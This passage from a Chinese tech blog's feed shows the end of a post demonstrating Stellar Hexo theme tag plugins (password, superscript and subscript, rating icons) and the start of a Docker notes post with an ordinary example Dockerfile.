fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="5-passswd">5. passswd</h4><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% psw &#x8FD9;&#x662F;&#x5BC6;&#x7801; %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><psw>&#x8FD9;&#x662F;&#x5BC6;&#x7801;</psw><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="6-sup-sub">6. sup &amp;&amp; sub</h4><p>&#x5B57;&#x4F53;&#x7684;&#x4E0A;&#x4E0B;&#x6807;&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% sup color:green upper %} word {% sub color:red lower %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><sup class="tag-plugin colorful sup" color="green">upper</sup> word <sub class="tag-plugin colorful sub" color="red">lower</sub><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><a class="tag-plugin colorful hashtag" color="green"><svg t="1701408144765" class="icon" viewbox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4228" width="200" height="200"><path d="M426.6 64.8c34.8 5.8 58.4 38.8 52.6 73.6l-19.6 117.6h190.2l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6s58.4 38.8 52.6 73.6l-19.4 117.6H896c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-42.6 256H832c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.6-117.4h-190.4l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.4-117.8H128c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l42.6-256H192c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6z m11.6 319.2l-42.6 256h190.2l42.6-256h-190.2z" p-id="4229"/></svg><span>Stellar</span></a> <a class="tag-plugin colorful hashtag" color="green"><svg t="1701408144765" class="icon" viewbox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4228" width="200" height="200"><path d="M426.6 64.8c34.8 5.8 58.4 38.8 52.6 73.6l-19.6 117.6h190.2l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6s58.4 38.8 52.6 73.6l-19.4 117.6H896c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-42.6 256H832c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.6-117.4h-190.4l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.4-117.8H128c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l42.6-256H192c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6z m11.6 319.2l-42.6 256h190.2l42.6-256h-190.2z" p-id="4229"/></svg><span>&#x535A;&#x5BA2;&#x4E3B;&#x9898;</span></a> <a class="tag-plugin colorful hashtag" color="green"><svg t="1701408144765" class="icon" viewbox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4228" width="200" height="200"><path d="M426.6 64.8c34.8 5.8 58.4 38.8 52.6 73.6l-19.6 117.6h190.2l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6s58.4 38.8 52.6 73.6l-19.4 117.6H896c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-42.6 256H832c35.4 0 64 28.6 64 64s-28.6 64-64 64h-137.8l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.6-117.4h-190.4l-23 138.6c-5.8 34.8-38.8 58.4-73.6 52.6s-58.4-38.8-52.6-73.6l19.4-117.8H128c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l42.6-256H192c-35.4 0-64-28.6-64-64s28.6-64 64-64h137.8l23-138.6c5.8-34.8 38.8-58.4 73.6-52.6z m11.6 319.2l-42.6 256h190.2l42.6-256h-190.2z" p-id="4229"/></svg><span>&#x6D4B;&#x8BD5;</span></a>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x5168;&amp;#x9762;&amp;#x6D4B;&amp;#x8BD5;&amp;#x4E86;Stellar&amp;#x4E3B;&amp;#x9898;&amp;#x7684;&amp;#x5404;&amp;#x79CD;&amp;#x6807;&amp;#x7B7E;&amp;#x7EC4;&amp;#x4EF6;&amp;#x548C;&amp;#x7279;&amp;#x6027;&amp;#xFF0C;&amp;#x4F5C;&amp;#x4E3A;&amp;#x535A;&amp;#x5BA2;&amp;#x88C5;&amp;#x4FEE;&amp;#x7684;&amp;#x5B9E;&amp;#x7528;&amp;#x6307;&amp;#x5357;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x7CFB;&amp;#x7EDF;&amp;#x5730;&amp;#x5C55;&amp;#x793A;&amp;#x4E86;&amp;#x5305;&amp;#x62EC;quot&amp;#x5F15;&amp;#x7528;&amp;#x3001;mark&amp;#x6807;&amp;#x8BB0;&amp;#x3001;note&amp;#x5907;&amp;#x6CE8;&amp;#x548C;hashtag&amp;#x7B49;&amp;#x8868;&amp;#x8FBE;&amp;#x7C7B;&amp;#x7EC4;&amp;#x4EF6;&amp;#x7684;&amp;#x7528;&amp;#x6CD5;&amp;#x4E0E;&amp;#x6548;&amp;#x679C;&amp;#xFF1B;&amp;#x8BE6;&amp;#x7EC6;&amp;#x8BB0;&amp;#x5F55;&amp;#x4E86;callout&amp;#x4FE1;&amp;#x606F;&amp;#x6846;&amp;#x3001;link&amp;#x94FE;&amp;#x63A5;&amp;#x5361;&amp;#x7247;&amp;#x548C;ghcard&amp;#x5361;&amp;#x7247;&amp;#x7B49;&amp;#x5185;&amp;#x5BB9;&amp;#x7C7B;&amp;#x7EC4;&amp;#x4EF6;&amp;#x7684;&amp;#x591A;&amp;#x79CD;&amp;#x6837;&amp;#x5F0F;&amp;#x53D8;&amp;#x5316;&amp;#xFF1B;&amp;#x5E76;&amp;#x6F14;&amp;#x793A;&amp;#x4E86;&amp;#x8BF8;&amp;#x5982;icon&amp;#x56FE;&amp;#x6807;&amp;#x3001;checkbox&amp;#x590D;&amp;#x9009;&amp;#x6846;&amp;#x4E0E;timeline&amp;#x65F6;&amp;#x95F4;&amp;#x7EBF;&amp;#x7B49;&amp;#x5E03;&amp;#x5C40;&amp;#x7C7B;&amp;#x7EC4;&amp;#x4EF6;&amp;#x7684;&amp;#x4E30;&amp;#x5BCC;&amp;#x529F;&amp;#x80FD;&amp;#x3002;&amp;#x6BCF;&amp;#x4E2A;&amp;#x7EC4;&amp;#x4EF6;&amp;#x90FD;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;&amp;#x5B9E;&amp;#x9645;&amp;#x4EE3;&amp;#x7801;&amp;#x793A;&amp;#x4F8B;&amp;#x548C;&amp;#x6E32;&amp;#x67D3;&amp;#x6548;&amp;#x679C;&amp;#xFF0C;&amp;#x5E76;&amp;#x6807;&amp;#x6CE8;&amp;#x4E86;&amp;#x5B9E;&amp;#x7528;&amp;#x6307;&amp;#x6570;&amp;#xFF0C;&amp;#x5E2E;&amp;#x52A9;&amp;#x8BFB;&amp;#x8005;&amp;#x5FEB;&amp;#x901F;&amp;#x638C;&amp;#x63E1;Stellar&amp;#x4E3B;&amp;#x9898;&amp;#x7684;&amp;#x9AD8;&amp;#x7EA7;&amp;#x7F8E;&amp;#x5316;&amp;#x6280;&amp;#x5DE7;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Tools" scheme="https://oschina.win/categories/Tools/"/>
    
    
    <category term="博客主题" scheme="https://oschina.win/tags/%E5%8D%9A%E5%AE%A2%E4%B8%BB%E9%A2%98/"/>
    
  </entry>
  
  <entry>
    <title>Docker 的使用笔记</title>
    <link href="https://oschina.win/posts/4da024a6.html"/>
    <id>https://oschina.win/posts/4da024a6.html</id>
    <published>2023-11-11T10:26:17.000Z</published>
    <updated>2025-04-25T13:14:23.464Z</updated>
    
    <content type="html"><![CDATA[<p>&#x8BB0;&#x5F55;&#x4E00;&#x4E0B;&#x5728;&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528; Docker &#x65F6;&#x7684;&#x4E00;&#x4E9B;&#x7B14;&#x8BB0;</p><p>&#x672C;&#x6587;&#x5206;&#x4EAB;Docker&#x5728;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x4E2D;&#x7684;&#x5E94;&#x7528;&#x7ECF;&#x9A8C;&#xFF0C;&#x6DB5;&#x76D6;&#x4ECE;&#x955C;&#x50CF;&#x7BA1;&#x7406;&#x5230;&#x5BB9;&#x5668;&#x64CD;&#x4F5C;&#x7684;&#x5B8C;&#x6574;&#x6D41;&#x7A0B;&#x3002;&#x8BE6;&#x7EC6;&#x8BB2;&#x89E3;&#x4E86;&#x5982;&#x4F55;&#x4ECE;Docker Hub&#x83B7;&#x53D6;&#x955C;&#x50CF;&#x3001;&#x4F7F;&#x7528;Dockerfile&#x521B;&#x5EFA;&#x81EA;&#x5B9A;&#x4E49;&#x955C;&#x50CF;&#x4EE5;&#x53CA;&#x53D1;&#x5E03;&#x955C;&#x50CF;&#x5230;&#x79C1;&#x6709;&#x4ED3;&#x5E93;&#x7684;&#x6B65;&#x9AA4;&#x3002;&#x540C;&#x65F6;&#x63D0;&#x4F9B;&#x4E86;&#x521B;&#x5EFA;&#x548C;&#x7BA1;&#x7406;&#x5BB9;&#x5668;&#x7684;&#x5B9E;&#x7528;&#x6280;&#x5DE7;&#xFF0C;&#x5305;&#x62EC;&#x7F51;&#x7EDC;&#x914D;&#x7F6E;&#x3001;&#x5377;&#x6302;&#x8F7D;&#x548C;&#x65F6;&#x533A;&#x540C;&#x6B65;&#x7B49;&#x5E38;&#x89C1;&#x95EE;&#x9898;&#x7684;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF0C;&#x5E76;&#x7B80;&#x8981;&#x4ECB;&#x7ECD;&#x4E86;Docker Compose&#x591A;&#x5BB9;&#x5668;&#x7F16;&#x6392;&#x5DE5;&#x5177;&#x7684;&#x5E94;&#x7528;&#x6CE8;&#x610F;&#x4E8B;&#x9879;&#x3002;</p><span id="more"></span><p>&#x4ECE; Docker image &#x5F00;&#x59CB;</p><h2 id="Docker-image">Docker image</h2><h3 id="1-&#x4ECE;-Docker-Hub-&#x62C9;&#x53D6;&#x955C;&#x50CF;">1. &#x4ECE; Docker Hub &#x62C9;&#x53D6;&#x955C;&#x50CF;</h3><p>&#x5173;&#x4E8E; Docker &#x955C;&#x50CF;&#xFF0C;&#x53EF;&#x4EE5;&#x4ECE; <a href="https://hub.docker.com/">https://hub.docker.com/</a> &#x4E2D;&#x67E5;&#x627E;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x7684;&#x955C;&#x50CF;&#x3002;&#x7136;&#x540E;&#x518D;&#x4F7F;&#x7528; docker &#x547D;&#x4EE4; docker pull &#x62C9;&#x53D6;&#x76EE;&#x6807;&#x955C;&#x50CF;&#x5230;&#x672C;&#x5730;&#xFF0C;&#x5F53;&#x7136;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; docker search [name] &#x76F4;&#x63A5;&#x67E5;&#x627E;&#x9700;&#x8981;&#x7684;&#x955C;&#x50CF;&#x3002;&#x867D;&#x7136; docker search &#x6709; --filter &#x9009;&#x9879;&#x5BF9;&#x7ED3;&#x679C;&#x8FDB;&#x884C;&#x8FC7;&#x6EE4;&#xFF0C;&#x4F46;&#x662F;&#x76F4;&#x63A5;&#x5728;&#x7F51;&#x9875;&#x4E0A;&#x8FDB;&#x884C;&#x7B5B;&#x9009;&#x66F4;&#x65B9;&#x4FBF;&#x4E00;&#x4E9B;&#x3002;</p><p>&#x53E6;&#x5916;&#x4E00;&#x79CD;&#x65B9;&#x5F0F;&#x662F;&#x6211;&#x4EEC;&#x81EA;&#x5DF1;&#x5B9A;&#x5236;&#x81EA;&#x5DF1;&#x9700;&#x8981;&#x7684;&#x955C;&#x50CF;&#xFF0C;&#x56E0;&#x4E3A;&#x76F4;&#x63A5;&#x62C9;&#x53D6;&#x522B;&#x4EBA;&#x5236;&#x4F5C;&#x597D;&#x7684;&#x955C;&#x50CF;&#x53EF;&#x80FD;&#x4E0D;&#x6EE1;&#x8DB3;&#x6211;&#x4EEC;&#x81EA;&#x5DF1;&#x7684;&#x5B9E;&#x9645;&#x9700;&#x8981;&#xFF0C;&#x6BD4;&#x5982;&#x522B;&#x4EBA;&#x7684;&#x955C;&#x50CF;&#x4E2D;&#x5B89;&#x88C5;&#x4E86;&#x4E00;&#x4E9B;&#x6211;&#x4EEC;&#x4E0D;&#x9700;&#x8981;&#x7684;&#x4F9D;&#x8D56;&#x3002;</p><h3 id="2-&#x4F7F;&#x7528;-Dockerfile-&#x5236;&#x4F5C;&#x955C;&#x50CF;">2. &#x4F7F;&#x7528; Dockerfile &#x5236;&#x4F5C;&#x955C;&#x50CF;</h3><p>&#x5148;&#x770B;&#x793A;&#x4F8B;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">&#x4F7F;&#x7528;&#x5B98;&#x65B9; Python &#x8FD0;&#x884C;&#x65F6;&#x4F5C;&#x4E3A;&#x57FA;&#x7840;&#x955C;&#x50CF;</span><br><span class="line">FROM python:3.8-slim</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">&#x5728;&#x5BB9;&#x5668;&#x4E2D;&#x8BBE;&#x7F6E;&#x5DE5;&#x4F5C;&#x76EE;&#x5F55;</span></span><br><span class="line">WORKDIR /app</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">&#x5C06;&#x5F53;&#x524D;&#x76EE;&#x5F55;&#x7684;&#x5185;&#x5BB9;&#x590D;&#x5236;&#x5230;&#x5BB9;&#x5668;&#x4E2D;&#x7684; /app</span></span><br><span class="line">COPY . /app</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">&#x6307;&#x5B9A; pip &#x6E90;</span></span><br><span class="line">COPY pip.conf /root/.pip/pip.conf</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">&#x5B89;&#x88C5; requirements.txt &#x4E2D;&#x6307;&#x5B9A;&#x7684;&#x5FC5;&#x9700;&#x5305;</span></span><br><span class="line">RUN pip install -r requirements.txt</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">&#x5BF9;&#x5916;&#x66B4;&#x9732;&#x7AEF;&#x53E3;</span></span><br><span class="line">EXPOSE 80</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">&#x5B9A;&#x4E49;&#x73AF;&#x5883;&#x53D8;&#x91CF;</span></span><br><span class="line">ENV NAME World</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">&#x5728;&#x5BB9;&#x5668;&#x542F;&#x52A8;&#x65F6;&#x8FD0;&#x884C;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;</span></span><br><span class="line">CMD [&quot;python&quot;, &quot;app.py&quot;]</span><br></pre></td></tr></table></figure><p>&#x5173;&#x952E;&#x6307;&#x4EE4;&#x7684;&#x89E3;&#x91CA;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p>FROM&#xFF1A;&#x6307;&#x5B9A;&#x57FA;&#x7840;&#x955C;&#x50CF;&#xFF08;&#x5728;&#x6B64;&#x793A;&#x4F8B;&#x4E2D;&#x4E3A; Python &#x955C;&#x50CF;&#xFF09;&#x3002;</p></li><li class="lvl-2"><p>WORKDIR&#xFF1A;&#x8BBE;&#x7F6E;&#x5BB9;&#x5668;&#x4E2D;&#x7684;&#x5DE5;&#x4F5C;&#x76EE;&#x5F55;&#x3002;</p></li><li 